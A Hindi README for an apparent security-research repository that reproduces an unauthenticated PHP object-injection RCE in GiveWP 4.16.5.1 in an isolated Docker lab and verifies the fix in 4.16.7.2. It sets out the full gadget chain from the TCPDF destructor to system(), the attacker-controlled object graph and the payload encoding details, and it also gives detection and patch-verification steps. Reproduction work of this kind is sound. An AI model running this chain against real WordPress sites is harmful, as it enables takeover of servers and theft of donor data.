
अधिकृत Docker लैब और GiveWP 4.16.5.1 में CVE-2026-82222 RCE तथा 4.16.7.2 फिक्स को मान्य करने के लिए स्वच्छ PoC।
CVE-2026-82222 को एक पृथक Docker लैब में पुनरुत्पादित और सत्यापित करने के लिए सुरक्षा-अनुसंधान सामग्री।
प्रत्यक्ष RCE PoC और URL स्कैन के लिए CVE-2026-8222-RCE.py का उपयोग करें
स्थिति: प्रदान किए गए लैब में सिद्ध
GiveWP 4.16.5.1 एक प्रारंभिक रूप से अप्रमाणित हमलावर को PHP ऑब्जेक्ट ग्राफ बनाए रखने, GiveWP सत्र हैंडलिंग के माध्यम से इसे पुनर्जीवित करने, और WordPress वेब-सर्वर उपयोगकर्ता के रूप में एक निश्चित मार्कर कमांड निष्पादित करने की अनुमति देता है।
परीक्षण किया गया सकारात्मक परिणाम:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
अंत-से-अंत परिणाम शुद्ध, गैर-इंस्ट्रूमेंटेड GiveWP 4.16.5.1 स्रोत के विरुद्ध भी पुनरुत्पादित किया गया था। GiveWP 4.16.7.2 ने परीक्षण किए गए कॉन्फ़िगरेशन में HTTP कैरियर को अवरुद्ध किया और प्रत्यक्ष नियंत्रण के दौरान टर्मिनल गैजेट को स्वतंत्र रूप से अवरुद्ध किया।
यह WordPress कंटेनर के अंदर कमांड निष्पादन प्रदर्शित करता है। यह रूट एक्सेस, कंटेनर एस्केप, पार्श्व गति, या होस्ट समझौता प्रदर्शित नहीं करता है।
इस रिपॉजिटरी का उपयोग केवल उन सिस्टमों पर करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत हैं।
प्रदान किया गया PoC जानबूझकर सीमित है:
touch /tmp/CVE-2026-82222-RCE-GETBAG--allow-authorized-non-loopback फ्लैग प्रदान नहीं करता।127.0.0.1 पर प्रकाशित करता है।HTTP परीक्षण एक डिस्पोजेबल डोनर उपयोगकर्ता, मेटाडेटा, और GiveWP सत्र पंक्तियाँ बनाता है। परीक्षण के बाद शामिल रीसेट कमांड का उपयोग करें।
आवश्यकताएँ:
curlunzipsha256sum या shasumdownloads.wordpress.org तक नेटवर्क पहुंचपूर्ण कमजोर/पैच किया गया मैट्रिक्स चलाएँ:
./lab verify
कमांड:
ProviderForwarder टर्मिनल भी स्ट्रिंग कॉल करने योग्य को अस्वीकार करता है।पैच किया गया लैब अंत में चालू रहता है। इसे हटाने के लिए:
./lab reset
दूसरे लूपबैक पोर्ट का उपयोग करने के लिए:
LAB_PORT=8099 ./lab verify
कमजोर नियंत्रण ठोस टर्मिनल साक्ष्य के साथ समाप्त होना चाहिए:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
पैच किया गया नियंत्रण दिखाना चाहिए:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
मार्कर के बिना HTTP 500, संग्रहीत पेलोड, अपवाद, या डिटेक्टर हिट को RCE प्रमाण के रूप में स्वीकार नहीं किया जाता है।
कमजोर रिलीज़ प्रारंभ करें और परीक्षण करें:
./lab start vulnerable
./lab test
पैच की गई रिलीज़ प्रारंभ करें और परीक्षण करें:
./lab start patched
./lab test
वर्तमान स्थिति का निरीक्षण करें:
./lab status
कंटेनर, वॉल्यूम, परीक्षण उपयोगकर्ता, सत्र, और मार्कर स्थिति हटाएँ:
./lab reset
कैश किए गए प्लगइन ZIP और निकाले गए एसेट तेज़ पुनः चलाने के लिए संरक्षित हैं। उन सटीक उत्पन्न एसेट को भी हटाने के लिए:
./lab reset --purge-assets
| संस्करण | मूल्यांकन |
|---|---|
| GiveWP 4.16.5.1 | RCE अंत से अंत तक पुनरुत्पादित |
| GiveWP 4.16.6–4.16.7.1 | प्रभावित बताया गया; यहाँ व्यक्तिगत रूप से पुनरुत्पादित नहीं |
| GiveWP 4.16.7.2 | पैच किए गए नकारात्मक नियंत्रण पुनरुत्पादित |
| बाद के रिलीज़ | व्यक्तिगत रूप से परीक्षण नहीं; नवीनतम समर्थित रिलीज़ में अपडेट करें |
सार्वजनिक सलाह 4.16.7.1 तक के रिलीज़ को प्रभावित के रूप में पहचानती है। यह रिपॉजिटरी सीधे केवल अपने सकारात्मक/नकारात्मक परीक्षण मैट्रिक्स में दो संस्करणों को साबित करती है।
संदर्भ:
शोषण कई व्यवहारों को जोड़ता है:
Give\Helpers\Utils::maybeSafeUnserialize() allowed_classes => false का उपयोग करता है, जो __PHP_Incomplete_Class उत्पन्न करता है, लेकिन बाद का क्रमबद्धीकरण मूल वर्ग नामों और गुणों को संरक्षित करता है।maybe_unserialize() शिप किए गए वर्गों को पुनर्जीवित करता है।system() के लिए एक पूर्ण POP श्रृंखला में प्रवेश करता है।HTTP कैरियर में चार शाब्दिक नेमस्पेस बैकस्लैश आवश्यक हैं। दो प्रभावी स्ट्रिपिंग पास उन्हें 4 -> 2 -> 1 घटाते हैं। पेलोड NUL-मुक्त है, और PHP 8.1.30 को निजी Session::$attributeName गुण के लिए सादा क्रमबद्ध नाम हाइड्रेट करने के लिए सत्यापित किया गया था।
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
हमलावर-नियंत्रित ग्राफ:
TCPDF
├── file_id = unique request identifier
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = fixed marker command
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
महत्वपूर्ण छिपा संक्रमण PHP का अंतर्निहित IteratorAggregate डिस्पैच है। TCPDF::$imagekeys अटाइप्ड है, इसलिए एक Symfony Session असाइन करने से foreach Session::getIterator() को आमंत्रित करता है।
मार्कर कमांड Symfony के getAttributeBag(): AttributeBagInterface रिटर्न प्रकार लागू करने से पहले निष्पादित होता है। परिणामी TypeError और HTTP 500 पोस्ट-सिंक प्रभाव हैं।
अस्वीकृत उम्मीदवार ग्राफ ने उपयोग किया:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
वह ग्राफ काम नहीं कर सकता। TCPDF::_destroy() केवल objcopy को अनसेट करता है; PHP स्वचालित विनाश को __call('__destruct', ...) के माध्यम से रूट नहीं करता है।
लापता ऑपरेशन था:
foreach ($this->imagekeys as $file) {
पहले की समीक्षा डिस्ट्रक्टरों और स्पष्ट विधि कॉलों का अनुसरण करती थी लेकिन foreach द्वारा ट्रिगर किए गए अंतर्निहित ऑब्जेक्ट प्रोटोकॉल का पुनरावर्ती रूप से निरीक्षण नहीं करती थी। Symfony Session लापता पुल प्रदान करता है:
foreach getIterator() को आमंत्रित करता है।getIterator() getBag($attributeName) तक पहुँचता है।storage एक DonationFactory है।getBag ProviderForwarder::__call() को आमंत्रित करता है।loadedProviders['getBag'] = 'system' कॉल करने योग्य का चयन करता है।attributeName कमांड तर्क प्रदान करता है।प्रासंगिक GiveWP 4.16.5.1 स्थान:
| घटक | स्थान |
|---|---|
| संरक्षित प्रारंभिक unserialize | src/Helpers/Utils.php:203-217,237-241 |
| दान कैरियर | includes/process-donation.php:157 |
| GiveWP सत्र स्थिरता | includes/class-give-session.php:364-368,489-508 |
| अप्रतिबंधित सत्र पुनरुद्धार | includes/class-give-session.php:347-350 |
| TCPDF डिस्ट्रक्टर | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| हमलावर-नियंत्रित पुनरावृत्ति | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Symfony इटरेटर पुल | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Symfony getBag पुल | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| टर्मिनल कॉल करने योग्य | src/TestData/Framework/ProviderForwarder.php:19-23 |
| GiveWP Composer ऑटोलोडर | give.php:624-625 |
आधिकारिक रिलीज़ हैश:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
लैब प्रत्येक नई शुरुआत से पहले प्रत्येक प्लगइन को उसके सत्यापित ZIP से पुनः निकालता है, इसे बिना संशोधन के WordPress में कॉपी करता है, और तैनात पूर्ण प्लगइन फ़ाइल ट्री की बाइट-तुलना सत्यापित स्रोत के साथ करता है। तीन आधिकारिक Docker आधार छवियाँ भी उनके मल्टी-आर्किटेक्चर मैनिफेस्ट डाइजेस्ट पर पिन की गई हैं।
GiveWP 4.16.7.2 पंजीकरण, क्रमबद्ध इनपुट हैंडलिंग, सत्र पुनरुद्धार, डेटा माइग्रेशन, और गैजेट हार्डनिंग में स्वतंत्र सुरक्षा जोड़ता है।
टर्मिनल हार्डनिंग के लिए आवश्यक है कि हल किया गया ऑब्जेक्ट अपेक्षित प्रदाता अनुबंध लागू करे:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
हमलावर-नियंत्रित स्ट्रिंग system इसलिए अस्वीकार कर दी जाती है। इस रिपॉजिटरी में प्रत्यक्ष नियंत्रण HTTP कैरियर को बायपास करता है और सत्यापित करता है कि यह अकेला टर्मिनल सुरक्षा अपना मार्कर अनुपस्थित छोड़ देती है।
एक नकारात्मक PoC परिणाम अपने आप में यह साबित नहीं करता कि साइट पैच की गई है। एक WAF, अलग रूटिंग, अक्षम पंजीकरण, लापता लीगेसी फॉर्म, सत्र कॉन्फ़िगरेशन, या अक्षम PHP कमांड फ़ंक्शन सभी अभी भी कमजोर कोडबेस पर मार्कर को रोक सकते हैं।
पसंदीदा सत्यापन प्रक्रिया:
संस्करण जाँच:
wp plugin get give --fields=name,status,version
GiveWP को नवीनतम समर्थित संस्करण में अपडेट करें। अपडेट करने के बाद:
TCPDF, Symfony Session, या loadedProviders ग्राफ के लिए उपयोगकर्ता मेटाडेटा और GiveWP सत्र खोजें।यदि इंटरनेट-एक्सपोज़्ड कमजोर स्थापना में ऑब्जेक्ट-इंजेक्शन कलाकृतियाँ हैं, तो इसे केवल प्लगइन अपडेट करने के बजाय संभावित समझौते के रूप में मानें।
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
प्रतिबद्ध नहीं:
official plugin ZIPs
extracted GiveWP source
instrumented target source
cookies or session data
runtime evidence/logs
internal target addresses or reusable credentials
obsolete objcopy payloads
historical validation output
| दावा | स्थिति |
|---|---|
| स्थायी PHP ऑब्जेक्ट-इंजेक्शन कैरियर | सिद्ध |
| शिप किए गए वर्गों का पुनरुद्धार | सिद्ध |
| पूर्ण स्टॉक POP श्रृंखला | सिद्ध |
| वेब उपयोगकर्ता के रूप में निष्पादित निश्चित मार्कर | सिद्ध |
| शुद्ध 4.16.5.1 के विरुद्ध पुनरुत्पादन | सिद्ध |
| शुद्ध 4.16.7.2 के विरुद्ध नकारात्मक नियंत्रण | सिद्ध |
| प्रत्येक मध्यवर्ती प्रभावित रिलीज़ परीक्षण | परीक्षण नहीं |
| रूट विशेषाधिकार | दावा नहीं |
| कंटेनर एस्केप | परीक्षण नहीं |
| होस्ट समझौता | परीक्षण नहीं |
प्रमाण मानक जानबूझकर सख्त है: केवल अपरिवर्तित स्टॉक श्रृंखला के माध्यम से एक अवलोकनीय कमांड मार्कर को RCE लेबल किया जाता है। HTTP स्वीकृति, क्रमबद्धीकरण, अपवाद, और डिटेक्टर हिट मध्यवर्ती साक्ष्य हैं।